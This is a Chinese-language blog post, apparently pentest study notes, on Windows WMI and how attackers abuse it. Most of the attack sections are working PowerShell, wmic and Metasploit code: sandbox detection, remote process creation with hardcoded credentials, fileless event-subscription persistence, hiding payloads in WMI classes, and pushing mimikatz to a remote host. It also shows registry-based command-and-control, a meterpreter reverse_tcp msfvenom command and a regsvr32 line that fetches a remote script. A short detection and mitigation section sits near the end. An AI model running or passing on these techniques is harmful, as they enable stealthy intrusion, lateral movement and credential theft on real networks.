WMI ——重写版

  • A+
所属分类:逆向工程

本文作者:伍默(内网知识星球学员)

本文是以WMI的重写版,本来这份笔记会更长,原版的笔记以Black Hat 2015的Abusing Windows Management Instrumentation (WMI) to Build a Persistent, Asyncronous, and Fileless Backdoor为主要学习资料,在笔记写到大概一万字的时候,Typora 中保存的内容部分丢失。于是重新整理,有了这份,我认为精简版的WMI笔记。


WMI 背景


WMI 是什么?Windows管理规范(WMI)是Microsoft对基于Web的业务管理标准(WBEM),公共信息模型(CIM)和分布式管理任务组(DMTF)的实现。
换句话说:Microsoft + CIM + WBEM +DMTF = WMI
打开MSDN 中关于WMI的描述是这样:
  • Windows Management Instrumentation (WMI) is the infrastructure for management data and operations on Windows-based operating systems。

    Windows管理工具(WMI)是基于Windows操作系统的管理数据和操作的基础设施。

快速的过一下这部分内容的重点:
  • WMI实际上的历史非常久远,最早在Windows 2000中内置,后面所有的Windows 系统中都内置了该项服务。

  • WMI使用公共信息模型 (CIM) 表示托管组件,其中包括系统、应用程序、网络等等

  • CIM中使用 “Class"(类)表示管理对象,类的实例是“Object”,名称空间(Namespace)是一个类的集合。类包含属性(Property)和方法(Method)。

  • WMI支持Schema的概念。Schema 是描述特定管理环境的一组类。Microsoft Windows SDK 中使用了两个 Schema : CIM Schema 和 Win 32 Schema 。CIM Schema Class 使用 "CIM_" 开头,Win32 Schema Class 使用 "Win32_" 开头。


和WMI交互


在开始WMI之前,我建议 WmiExplorer 查看 自己机器上的Namespaces、Class、Property、Method等等,对我说的概念有一个简单的了解,复杂你可能会看着很懵。
为了验证上面我描述的一些内容,我建议WmiExplorer进行查看:

WMI ——重写版

可以注意到前面描述中的Namespace、Class、Properties、Methods……。
实际上和WMI交互有多种方法:
  • Powershell

  • wmic.exe

  • wbemtest.exe

  • winrm.exe and winrm.vbs

  • WMI Explorer

    • WMI Explorer 2.0.0.2

    • WMI Explorer

    • WMI Tools

    • CIM Explorer 2020(收费,但是非常强大,对类进行了中文说明,VBscript、powershell 代码简洁,推荐)

  • Windows Script Host Languages(VBScript – JScript)

  • IWbem* COM API

  • .NET System.Management classes

  • Linux:wmic and wmis

另外两个小工具:
  • WMI Code Creator

    这是微软官方出的一款代码生成器,可生成C#、VB .net 、VB Script代码

  • WMIGen

    可生成各种变成语言,调用WMI

除了”IWbem* COM API“和”.NET System.Management classes“没有试过,其余的工具均有测试,推荐使用WMI Explorer ,GUI界面非常好用。


WMI Query Language (WQL)


参考:

Querying with WQL

(https://docs.microsoft.com/en-us/windows/win32/wmisdk/querying-with-wql)

WQL (SQL for WMI)

(https://docs.microsoft.com/en-us/windows/win32/wmisdk/wql-sql-for-wmi)

WMI 查询语言(WQL)是ANSI SQL 的子集,WQL支持以下的查询:
  • Data queries

    SELECT [Class property name|*] FROM [CLASS NAME] <WHERE [CONSTRAINT]>
  • Event queries

    SELECT [Class property name|*] FROM [INTRINSIC CLASS NAMEWITHIN [POLLINGINTERVAL] <WHERE [CONSTRAINT]>
  • Schema queries

    SELECT [Class property name|*] FROM [Meta_Class<WHERE [CONSTRAINT]>
详细的语法请参考文档,这里不做过多介绍,用的最多的是 data queries ,请在实际查询中使用,需要明确的是WQL仅能查询,无法使用 Methods 进行增删改等操作。


Remote WMI Protocols


WMI 可以使用两种协议用于Remote WMI:分布式组件对象模型 (DCOM) 和 Windows 远程管理 (WinRM)。
DCOM
  • Microsoft 在TCP 135 端口和一系列的动态端口(不同版本不一样) 运行DCE RPC end-point mapper为它的DCOM服务

  • 端口可通过注册表项

    HKEY_LOCAL_MACHINESoftwareMicrosoftRpcInternet中

    的Ports设置

  • 可通过DCOMCNFG.exe 配置

  • 对防火墙不友好(使用 TCP 135和一系列动态端口 1024 到 65535)

  • 默认情况下 Wmi Service ——Winmgmt 在135端口下运行和监听


WinRM/PowerShell Remoting


参考:

About Windows Remote Management(https://docs.microsoft.com/en-us/windows/win32/winrm/about-windows-remote-management)

  • 实验之前,请务必阅读一遍官方官方文档,哪怕是草草看过。

介绍Windows Remote Management(Winrm)之前,先了解WS-Management ,Ws-Man 协议是基于SOAP协议的DMTF开放标准,WinRM则是对WS-Man协议的 Windows 实现。
  • DMTF是不是感觉有点耳熟?前面说WMI背景中就提到过。

  • 默认情况下,从Windows Vista开始成为Windows 的默认组件,从Windows Server 2008 开始, WinRM服务自动启动

  • 默认情况下,未配置WinRM侦听器,即使WinRM服务在运行,无法接受和请求WS-Man 协议消息

  • Ws-Man 流量是加密的,不论HTTP 或HTTPS

  • 默认配置侦听端口是:HTTP(5985)和HTTPS(5986)

    • 注意,这里的默认配置指定是 Winrm quickconfig 之后。

需要明确的是两种协议均支持NTLM or Kerberos,也就是说,Pass The Hash和Pass The Ticket对 Wmi 和WinRM均适用


Powershell-DCOM

从Powershell v3 及后续版本,Powershell 中提供了两种 Cmdlets:

  • CIM Cmdlets

  • WMI Cmdlets

WMI ——重写版

  • 前面我提到过namespace,如果不显式指定,默认namespace 为 rootCIMv2


CIM cmdlets 和WMI Cmdlets 差异在于 CIM Cmdlets 使用WSMAN(WinRM)连接远程计算机,WMI Cmdlets 是所有的是DCOM 连接远程计算机。
  • 如果CIM Cmdlets 使用DCOM 无法建立会话,可以使用 -Protocol 参数退回到DCOM

#WMI Cmdlets$Username ="0dayAdministrator"$Password = ConvertTo-SecureString "[email protected]#45" -AsPlainText -Force$Credential = New-Object System.Management.Automation.PSCredential$Username,$Password#为了避免凭据提示弹框Get-WmiObject -ComputerName OWA2010SP3 -Credential $Credential -ClassWin32_Process |Select-Object Name,ProcessId#这里枚举了下进程#另外支持WQL查询Get-WmiObject -Query "select * from Win32_Process" |Select-Object Name,ProcessID#该命令和上面的效果相同Powershel-WinRM#CIM cmdlets$Username ="0dayAdministrator"$Password = ConvertTo-SecureString "[email protected]#45" -AsPlainText -Force$Credential = New-Object System.Management.Automation.PSCredential$Username,$Password$CimSessionOption = New-CimSessionOption -Protocol Dcom$CimSession = New-CimSession -computerName OWA2010SP3 -Credential $Credential -SessionOption $CimSessionOption

WMI ——重写版


Powershel-WinRM

ls wsman:localhost #查看本地计算机WSman提供程序的目录层次结构#需管理员权限

WMI ——重写版

$Username ="0dayAdministrator"$Password = ConvertTo-SecureString "[email protected]#45" -AsPlainText -Force$Credential = New-Object System.Management.Automation.PSCredential$Username,$Password$CimSession = New-CimSession -computerName OWA2010SP3 -Credential $CredentialGet-CimInstance -CimSession $CimSession -ClassName Win32_Process |Select-ObjectName,ProcessId

WMI ——重写版


WMI Eventing

WMI 事件订阅是订阅某些系统事件的方法。

WMI Eventing 有两种: 

  • Single process context (本地的单个进程上下文)

  • Permanent WMI Event Subscriptions(永久的WMI 事件订阅)

重点放在Permanent WMI Event Subscriptions上,永久的WMI 事件订阅存储在WMI repository,系统关键/重启之后任然存储着,并且,永久的WMI事件订阅是以System权限运行的。

  • 提一个,WMI repository 的所在目录为

    %SystemRoot%System32wbemRepositoryOBJECTS.DATA

WMI Eventing 包含3个组件(同时也是3类): 

Event Filter

Event Filter 是一个WQL 查询,它描述了感兴趣的事件。有两种类型: 

  • Intrinsic Events(内部事件):轮询事件间隔内触发的事件

  • Extrinsic Events (外部事件):实时过滤器,事件发生时立刻被触发

    重复一遍,这里不会有大量的细节,甚至略过了非常多的内容,如细节指出有误请务必指出。

Event Consumer


Event Consumer 是触发事件是要执行的操作,提供了5个类:
  • ActiveScriptEventConsumer:执行嵌入的VBScript/JSCript

  • CommandLineEventConsumer:执行指定的二进制或者命令行

    前面两个类是各类攻击中主要使用的类

  • LogFileEventConsumer:写入指定的日志文件

  • NTEventLogEventConsumer:将消息记录到应用程序EventLog中

  • SMTPEventConsumer:每当事件被送达时,适用SMTP发送一封邮件

Filter to Consumer Binding


Filter to Consumer Binding 是将 Filter 绑定到 Consumer 的注册机制
以上3种角色具体到WMI中体现为类,可查询判断是否添加生成:
Get-WMIObject -Namespace rootSubscription -Class __EventFilterGet-WMIObject -Namespace rootSubscription -Class __EventConsumerGet-WMIObject -Namespace rootSubscription -Class __FilterToConsumerBinding#注意名称空间参数


WMI Attacks


从攻击者的角度包括不限于可以做到以下这些:
  • Reconnaissance

  • VM/Sandbox Detection

  • Code execution and lateral movement

  • Persistence

  • Data storage

  • C2 communication

Reconnaissance


Host/OS information: ROOTCIMV2:Win32_OperatingSystemWin32_ComputerSystem, ROOTCIMV2:Win32_BIOSFile/directory listing: ROOTCIMV2:CIM_DataFileDisk volume listing: ROOTCIMV2:Win32_VolumeRegistry operations: ROOTDEFAULT:StdRegProvRunning processes: ROOTCIMV2:Win32_ProcessService listing: ROOTCIMV2:Win32_ServiceEvent log: ROOTCIMV2:Win32_NtLogEventLogged on accounts: ROOTCIMV2:Win32_LoggedOnUserMounted shares: ROOTCIMV2:Win32_ShareInstalled patches: ROOTCIMV2:Win32_QuickFixEngineeringInstalled AV: ROOTSecurityCenter[2]:AntiVirusProduct#查询对应的类即可,灵活运用Select-Object Format-List Format-Table cmdlets

这里提一下wmic,可能大家经常使用

wmic qfe get Caption,Description,HotFixID,InstalledOn

进行补丁的查询,Powershell cmdlets 着是这样的:

Get-CimInstance -ClassName Win32_QuickFixEngineering

WMI ——重写版

MSDN有提到“wmic 中的 alias 是对 class 、property、method 的友好重命名”,你可以用 wmic alias qfe list brief 验证这一点:

WMI ——重写版

WMI Attacks – VM/Sandbox Detection


SELECT * FROM Win32_ComputerSystem WHERE TotalPhysicalMemory < 2147483648SELECT * FROM Win32_ComputerSystem WHERE NumberOfLogicalProcessors < 2
可通过内存与处理器的数量来判断是否为VM/Sandbox ,不排除高配置的VM/Sandbox
$VMDetected = $False$Arguments = @{Class = 'Win32_ComputerSystem'Filter = 'NumberOfLogicalProcessors < 2 AND TotalPhysicalMemory < 2147483648'}if (Get-WmiObject @Arguments) { $VMDetected = $True }echo $VMDetected = $False#查看$VMDetected 是否为True

WMI Attacks – VM/Sandbox Detection (VMware)


如果VM/Sandbox 是VMware 的产品,可以从Vmware的一些特征查询:
SELECT * FROM Win32_NetworkAdapter WHERE Manufacturer LIKE "%VMware%"SELECT * FROM Win32_BIOS WHERE SerialNumber LIKE "%VMware%"SELECT * FROM Win32_Process WHERE Name="vmtoolsd.exe"SELECT * FROM Win32_NetworkAdapter WHERE Name LIKE "%VMware%"#如果任意一条语句查询出结果,当前机器大概率是Vmware 的 VM/Sandbox
在Powershell 中是这样的:
  • 后面不在啰嗦, 只要理解这个类的查询逻辑,就很容易理解命令,

    Get-WmiObject 本质上也是 使用了WQL查询,并且 也支持 -query 参数直接使用WQL查询。

$VMwareDetected = $False$VMAdapter = Get-WmiObject Win32_NetworkAdapter -Filter 'Manufacturer LIKE"%VMware%" OR Name LIKE "%VMware%"'$VMBios = Get-WmiObject Win32_BIOS -Filter 'SerialNumber LIKE "%VMware%"'$VMToolsRunning = Get-WmiObject Win32_Process -Filter 'Name="vmtoolsd.exe"'if ($VMAdapter -or $VMBios -or $VMToolsRunning) { $VMwareDetected = $True }echo $VMDetected = $False#注意几个WQL查询之间的逻辑关系为 OR

WMI Attacks – Code Execution and Lateral Movement


这里给出了两种协议的 代码执行和横向移动方式,基本都类似:
支持Kerberos
$Username ="0dayAdministrator"$Password = ConvertTo-SecureString "[email protected]#45" -AsPlainText -Force$Credential = New-Object System.Management.Automation.PSCredential$CimSession = New-CimSession -computerName OWA2010SP3 -Credential $CredentialInvoke-CimMethod -CimSession $CimSession -Name Create -ClassName Win32_Process -Arguments @{CommandLine = 'notepad.exe'}
$Username ="0dayAdministrator"$Password = ConvertTo-SecureString "[email protected]#45" -AsPlainText -Force$Credential = New-Object System.Management.Automation.PSCredential InvokeWmiMethod -Class Win32_Process -Name Create -ArgumentList 'notepad.exe' -ComputerName OWA2010SP3 -Credential $Credential
WMI Attacks – Persistence


$filterName = 'EventFilter'$consumerName = 'ConsumerName'$exePath = 'C:WindowsSystem32calc.exe'$Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"#Flter 可以尝试使用其他事件$WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace"rootsubscription" -Arguments @{Name=$filterName;EventNameSpace="rootcimv2";QueryLanguage="WQL";Query=$Query}-ErrorAction Stop#Event Filter$WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace"rootsubscription" -Arguments @{Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exePath}#Event ConsumerSet-WmiInstance -Class __FilterToConsumerBinding -Namespace "rootsubscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}#Filter to Consumer Binding#需管理员权限

这里使用到的就是WMI Eventing,如果使用WmiExplorer可查看到对应命名空间中创建了新的实例。

适用Process Explorer监控发现calc.exe进程在启动之后,自动结束进程,目前稳定性尚未明确,如果使用来上线,做好进程迁移。

Remove-CimInstance -Query "Select * from __EventFilter where Name = 'EventFilter'" -Namespace "rootsubscription"#删除WMIEventFilterRemove-CimInstance -Query "SELECT * FROM CommandLineEventConsumer WHERE Name='consumerName'" -Namespace "rootsubscription"#删除WMIEventConsumer#删除FilterToConsumerBinding发现CIM cmdlets 报错,暂不明确原因,适用WMI cmdlets 解决Get-WmiObject -Class __FilterToConsumerBinding -Namespace "rootsubscription" -Filter "Consumer='CommandLineEventConsumer.Name='ConsumerName''" |RemoveWmiObject -Verbose

以上是利用 WMI 进行 Persistence 的核心逻辑,很容易找到以下写好的Powershell 脚本:

  • https://github.com/n0pe-sled/WMI-Persistence/blob/master/WMI-Persistence.ps1

WMI ——重写版

WMI ——重写版

WMI ——重写版

这里代码太多,直接给了图片,整个脚本逻辑很清晰,只有3个函数Install-Persistence、RemovePersistence、Check-WMI,功能和函数名相同,实际使用时仅需要修改 $Payload 值即可持久化上线。 

Powershell并不是唯一的选择,wmic 中也能实现相同的效果:

wmic /NAMESPACE:"\rootsubscription" PATH __EventFilter CREATE Name="EventFilter", EventNameSpace="rootcimv2",QueryLanguage="WQL",Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstanceISA 'Win32_PerfFormattedData_PerfOS_System'"#WMI EventFilter#系统启动 60秒后触发wmic /NAMESPACE:"\rootsubscription" PATH CommandLineEventConsumer CREATEName="ConsumerName",ExecutablePath="C:WindowsSystem32calc.exe",CommandLineTemplate="C:WindowsSystem32calc.exe"#WMI Event Consumer#我这里我启动的是calcwmic /NAMESPACE:"\rootsubscription" PATH __FilterToConsumerBinding CREATEFilter="__EventFilter.Name="EventFilter"",Consumer="CommandLineEventConsumer.Name="ConsumerName""#WMI Event FilterToConsumerBinding
WMI Attacks – Data Storage
$StaticClass = New-Object Management.ManagementClass('rootcimv2', $null,$null)$StaticClass.Name = 'Win32_EvilClass'$StaticClass.Put()$StaticClass.Properties.Add('EvilProperty',"This is not the malware you'relooking for")$StaticClass.Put()#新建本地类存储#需管理员权限

如何查看其中的值:

([WmiClass] 'Win32_EvilClass').Properties['EvilProperty']#具体的获取Value的值([WmiClass] 'Win32_EvilClass').Properties['EvilProperty'].value

WMI ——重写版

WMI ——重写版

具体的应用:

$LocalFilePath = "C:WindowsSystem32calc.exe"$FileBytes = [IO.File]::ReadAllBytes($LocalFilePath)$EncodedFileContentsToDrop = [Convert]::ToBase64String($FileBytes)
$StaticClass = New-Object Management.ManagementClass('rootcimv2', $null,$null)$StaticClass.Name = 'Win32_EvilClass'$StaticClass.Put()$StaticClass.Properties.Add('EvilProperty',$EncodedFileContentsToDrop)$StaticClass.Put()
$EncodedPayload=([WmiClass]'Win32_EvilClass').Properties['EvilProperty'].value#将calc Base64吹后存储在Win32_evilClass 的 EvilProperty 中#怎么执行?#这里给出两种执行方式,推荐存储的是powershell脚本,否则执行可能会遇到问题
$PowerShellPayload = "powershell -ep bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -enc $EncodedPayload" Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList$PowerShellPayload
$PowerShellPayload = "cmd /k $EncodedPayload"Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList$PowerShellPayload
WMI Attacks – C2 Communication (WMI Class) – “Push” Attack
# Prep file to drop on remote system$LocalFilePath = 'C:WindowsSystem32calc.exe'#当然这个路径可以设置一个网络上的路径$FileBytes = [IO.File]::ReadAllBytes($LocalFilePath)$EncodedFileContentsToDrop = [Convert]::ToBase64String($FileBytes)# Establish remote WMI connection$Options = New-Object Management.ConnectionOptions$Options.Username = '0dayAdministrator'$Options.Password = '[email protected]#45'$Options.EnablePrivileges = $True$Connection = New-Object Management.ManagementScope$Connection.Path = '\192.168.3.142rootdefault'$Connection.Options = $Options$Connection.Connect()# "Push" file contents$EvilClass = New-Object Management.ManagementClass($Connection, [String]::Empty,$null)$EvilClass['__CLASS'] = 'Win32_EvilClass'$EvilClass.Properties.Add('EvilProperty', [Management.CimType]::String, $False)$EvilClass.Properties['EvilProperty'].Value = $EncodedFileContentsToDrop$EvilClass.Put()
和上面的Data Storage 相似,不过这里是通过DCOM 远程连接,写入到远程主机的 Class 的 Properties 中,
$EncodedPayload=([WmiClass] 'Win32_EvilClass').Properties['EvilProperty'].value$PowerShellPayload = "cmd /k $EncodedPayload" Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList $PowerShellPayload#需要再 192.168.3.142 上执行,如果通过远程读取,需要对应用户凭据([WmiClass]'\192.168.3.142:Win32_EvilClass').Properties['EvilProperty'].value#另外笔者测试手里,如果目标是powershell脚本,推荐是使用下面的代码$EncodedPayload=([WmiClass] 'Win32_Command').Properties['EvilProperty'].Value#PowerShell执行命令$PowerShellPayload = "powershell -ep bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -enc $EncodedPayload" Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList $PowerShellPayload
注:笔者未复现成功,但是@九世成功了,我的系统是Win 10 1809 ,他的系统大概是Windows Server 2008 R2
不要误会这一节的标题,这里本意是使用利用WMI 构造C2 (下同),但我这里代码的用途仅仅是通过 Class 的 Properties 储存数据。
参考:
WMI Backdoor(https://juejin.im/post/5aa117a1f265da2384402949)
  • 务必阅读这篇,该篇说的更为详细

#完整的代码,# Prep file to drop on remote system$LocalFilePath=’C:Usersjerrymimikatz.exe’$FileBytes=[IO.File]::ReadAllBytes($LocalFilePath)$EncodedFileContentsToDrop=[Convert]::ToBase64String ($FileBytes)# Establish remote WMI connection$Options=New-ObjectManagement.ConnectionOptions$Options.Username =’0dayAdministrator’$Options.Password =’[email protected]#45’$Options.EnablePrivileges =$True$Connection=New-ObjectManagement.ManagementScope$Connection.Path =’\192.168.3.142rootdefault$Connection.Options =$Options$Connection.Connect()# “Push” file contents$EvilClass=New-ObjectManagement.ManagementClass($Connection,[String]::Empty,$null)$EvilClass[‘__CLASS’]=’Win32_EvilClass’$EvilClass.Properties.Add(‘EvilProperty’,[Management.CimType]::String,$False)$EvilClass.Properties[‘EvilProperty’].Value =$EncodedFileContentsToDrop$EvilClass.Put()#$Credential=Get-Credential’WIN-B85AAA7ST4UAdministrator’ 这是原版代码,下面是我修改的代码$Username ="0dayAdministrator"$Password = ConvertTo-SecureString "[email protected]#45" -AsPlainText -Force$Credential = New-Object System.Management.Automation.PSCredential$Username,$Password$CommonArgs= @{Credential =$CredentialComputerName =’192.168.72.134}# The PowerShell payload that will drop the stored file contents[email protected]$EncodedFile = ([WmiClass] ‘rootdefault:Win32_EvilClass’).Properties[‘EvilProperty’].Value[IO.File]::WriteAllBytes(‘C:UsersAdministratormimikatz.exe‘,[Convert]::FromBase64String($EncodedFile))‘@$EncodedPayload=[Convert]::ToBase64String([Text.Encoding] ::Unicode.GetBytes($PayloadText))$PowerShellPayload=”powershell -NoProfile -EncodedCommand$EncodedPayload”# Drop the file to the target filesystemInvoke-WmiMethod @CommonArgs -ClassWin32_Process-Name Create -ArgumentList $PowerShellPayload# Confirm successful file dropGet-WmiObject @CommonArgs -Class CIM_DataFile -FilterName = ‘C:UsersAdministratormimikatz.exe#远程创建类存储数据,远程使用Powershell读取类中的数据写入到文件系统中

WMI Attacks – C2 Communication (Registry) – “Pull” Attack

$Username ="0dayAdministrator"$Password = ConvertTo-SecureString "[email protected]#45" -AsPlainText -Force$Credential = New-Object System.Management.Automation.PSCredential$Username,$Password$CommonArgs = @{Credential =    $Credential    ComputerName = '192.168.3.142'}$HKLM = 2147483650#HKEY_LOCAL_MACHINE = 2147483650(0x80000002)Invoke-WmiMethod @CommonArgs -Class StdRegProv -Name CreateKey -ArgumentList $HKLM,'SOFTWAREEvilKey'Invoke-WmiMethod @CommonArgs -Class StdRegProv -Name DeleteValue -ArgumentList $HKLM,'SOFTWAREEvilKey','Result'#在远程主机上新建注册表项和值Result

WMI ——重写版

$PayloadText = @'$Payload = {Get-Process lsass}$Result = & $Payload$Output = [Management.Automation.PSSerializer]::Serialize($Result, 5)#查阅MSDN,发现这是一种序列化对象的方法$Encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($Output)) Set-ItemProperty -Path HKLM:SOFTWAREEvilKey -Name Result -Value $Encoded'@$EncodedPayload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($PayloadText))#序列化后对象之后编码为Base64$PowerShellPayload = "powershell -NoProfile -EncodedCommand $EncodedPayload" Invoke-WmiMethod @CommonArgs -Class Win32_Process -Name Create -ArgumentList $PowerShellPayload$RemoteOutput = Invoke-WmiMethod @CommonArgs -Class StdRegProv -Name GetStringValue -ArgumentList $HKLM,'SOFTWAREEvilKey','Result'
$EncodedOutput = $RemoteOutput.sValue
$DeserializedOutput = [Management.Automation.PSSerializer]::Deserialize([Text.Encoding]::Ascii.GetString([Convert]::FromBase64String($EncodedOutput)))#将$EncodedOutput 解码,进行反序列化,笔者测试失败,遇到错误,有成功运行的师傅麻烦指教下。

WMI Attacks – Stealthy Command “Push”


上面例子中基本调用的是 powershell或cmd,在笔者其他篇中提到过ELK配合sysmon,查找这类攻击很容易,在Command-line中查找即可,还记得前面的脚本EventConsumer使用的都是CommandLineEventConsumer,但是没有使用 ActiveScriptEventConsumer,如果使用该类执行 VBScript,则只会启动WMI脚本宿主进程:
%SystemRoot%system32wbemscrcons.exe -Embedding
  • 和原演讲PPT有区别,这部分是我在阅读其他师傅的博客得到的表述,其实和利用WMI 永久事件 订阅相同,只不过其中 `CommandLine 变为执行脚本。

    如何构造VBScript?相关框架可以自动生成,比如MSF。

整个过程看起来是这样: 

  • Event filter example: __IntervalTimerInstruction(可选择其他事件过滤器)

  • Event consumer – ActiveScriptEventConsumer

  • Event FilterToConsumerBinding

等待Payload 执行,删除永久的WMI 事件订阅(也就是3个组件的类的实例),payload是由WMI脚本 宿主进程启动。
没有代码


WMI Providers


参考:WMI Providers 

(https://docs.microsoft.com/en-us/windows/win32/wmisdk/developing-a-wmi-provider)

如果你注意到MSDN 文档,WMI Providers 有着详细的开发文档(最常见的是笔记本厂商往往会扩展 WMI Providers),如果构造出恶意的 WMI Providers 就能执行payload或者获取用户的数据。

笔者这反面了解甚少,这里演讲者推荐了几个项目

  • EvilWMIProvider(已404)

    (https://github.com/subTee/EvilWMIProvider)

  • EvilNetConnectionWMIProvider(最后一次更新是5年前)

    (https://github.com/jaredcatkinson/EvilNetConnectionWMIProvider)

枚举 WMI Providers:

  • Get-WmiProvider.ps1

    (https://gist.github.com/mattifestation/2727b6274e4024fd2481)


PoC WMI Backdoor

掠过,WMI Backdoor 未放出源代码,因此给出的函数实际意义不大。


Attack Defense and Mitigations


参考:Tales of a Threat Hunter 2

(https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/)

检测 

  • Powershell或其他工具查询对应的类:Filter、consumer 、FilterToConsumerBinding

  • Autoruns(GUI 界面的WMI菜单栏)

相关文章:透过Autoruns看持久化绕过姿势的分享(一)

(https://www.freebuf.com/articles/network/164252.html)

防御

所有的系统行为都可以引发一个事件,包括前面的创建/删除WMI 永久事件订阅、修改注册表、安装 WMI Providers 都会触发对应的事件。
  • 具体的事件请使用 Get-WmiObject -Class *__*event* -list 查看。

笔者的思路为:注册对应的WMI 永久事件订阅,来监控对应的事件,动作设置为写入日志或其他(列如通知) 

注:删除WMI 永久事件订阅本身也可以触发事件

缓解措施
  • 禁用WMI服务:可以会影响依赖该服务的应用

  • 防火墙限制端口

  • 日志

  • 由于WMI 服务涉及 WinRM和DCOM,所以需要查看3种服务的日志,比较推荐使用sysmon 捕获日志

    • Microsoft-Windows-WinRM/Operational

    • Microsoft-Windows-WMI-Activity/Operational

    • Microsoft-Windows-DistributedCom

相关项目:WMI_Monitor(https://github.com/realparisi/WMI_Monit)

各类工具

参考:Persistence – WMI Event Subscription 

(https://pentestlab.blog/2020/01/21/persistence-wmi-event-subscription/)

  • WMImplant(https://github.com/n0pe-sled/WMI-Persistence)

  • WMIOps(https://github.com/FortyNorthSecurity/WMIOps)

  • Metasploit 中的 puts generate_mof

    use exploit/windows/smb/psexecirbputs generate_mof("Metasploit1","notepad.exe")#生成恶意mof文件#命令部分自定义,例如 regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll#在目标Windows 机器上使用自带的 mofcomp.exe .Metasploit.mof 编译#如果你愿意阅读下生成的mof文件的代码,核心部分是通过Jscript调用wmi,扩展Win32Provider,构造WMI 永久事件订阅#考虑进程迁移
    这种方式父进程是
    %SystemRoot%system32wbemscrcons.exe -Embedding

WMI ——重写版

  • msfvenom + SharpShooter +WMIPersistence+csc

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.128LPORT=4444 -f raw -o payload.binpython SharpShooter.py --stageless --dotnetver 2 --payload vbs --output implantvbs --rawscfile payload.bin#@冷逸指出有可能是Outlook.CreateObject() COM 导致的失败base64 -i output/implantvbs.vbs > ./payload.txt
    cd C:WindowsMicrosoft.NETFramework64v3.5 #csc.exe WMIPersist.cs /r:System.Management.Automation.dll #windows 中编译 #目标执行,笔者测试为复现成功


PoshC2 中Invoke-wmieventMetasploit 中的`exploit/windows/local/wmi_persistence`,默认 Filter 是出现4625事件,4625事件是登录失败( runas 输入错误账户密码即可导致该事件 )
Empire 中 `persistence/elevated/wmi`,同样是 4625 事件触发,`persistence/elevated/wmi_updater`可以从远程获取 payload,注册的 WMI 永久事件订阅 默认Name 为`AutoUpdater`
## 更多的资料[Abusing Windows Management Instrumentation (WMI) to Build a Persistent,Asyncronous, and Fileless Backdoor](https://www.blackhat.com/docs/us15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-ToBuild-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf)[THERE’S SOMETHING ABOUT WMI](https://www.fireeye.com/content/dam/fireeyewww/services/pdfs/sans-dfir-2015.pdf)[Windows管理规范(WMI)指南:了解WMI攻击](https://www.varonis.com/blog/wmi-windowsmanagement-instrumentation/)[Command and Control – WMI](https://pentestlab.blog/2017/11/20/command-andcontrol-wmi/)[WMI 101 for Pentesters](https://www.ethicalhacker.net/features/root/wmi-101-for-pentesters/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+ehnet+%28The+Ethical+Hacker+Network+-+Online+Magazine%29)[Handling Events with PowerShell and WMI](https://www.scriptrunner.com/en/blog/events-powershell-wmi/)[Blue Team Hacks - WMI Eventing](https://mgreen27.github.io/posts/2017/04/03/Blue_Team_Hacks-WMI_Eventing.html)[WMI vs. WMI: Monitoring for Malicious Activity](https://www.fireeye.com/blog/threat-research/2016/08/wmi_vs_wmi_monitor.html)
比较好的中文资料[Windows WMI技术总结](http://1sparrow.com/2019/12/10/Windows%20WMI%E6%8A%80%E6%9C%AF%E6%80%BB%E7%BB%93/)[wmic命令解析与实例](https://weiyigeek.top/2019/5/wmic%E5%91%BD%E4%BB%A4%E8%A7%A3%E6%9E%90%E4%B8%8E%E5%AE%9E%E4%BE%8B.html)> 完美的介绍了wmic命令的各种应用,用户管理、组管理、加域、配置ip、注册表编辑等等以及三好学生的几篇博文[WMI Attacks](http://drops.xmd5.com/static/drops/tips-8189.html)[WMI Backdoor](https://juejin.im/post/5aa117a1f265da2384402949)[WMI Defense](https://wooyun.js.org/drops/WMI%20Defense.html)[Study Notes of WMI Persistence using wmic.exe](https://3gstudent.github.io/Study-Notes-of-WMI-Persistence-using-wmic.exe/)[WSC、JSRAT and WMI Backdoor](https://wooyun.js.org/drops/WSC%E3%80%81JSRAT%20and%20WMI%20Backdoor.html)FireEye 报告的译文[WMI的攻击,防御与取证分析技术之攻击篇](https://wooyun.js.org/drops/WMI%20%E7%9A%84%E6%94%BB%E5%87%BB%EF%BC%8C%E9%98%B2%E5%BE%A1%E4%B8%8E%E5%8F%96%E8%AF%81%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E4%B9%8B%E6%94%BB%E5%87%BB%E7%AF%87.html)[WMI 的攻击,防御与取证分析技术之防御篇](http://drops.xmd5.com/static/drops/tips10346.html)





扫描下方二维码加入星球学习

加入后会邀请你进入内部微信群,内部微信群永久有效!

WMI ——重写版

目前26000+人已关注加入我们

WMI ——重写版


发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: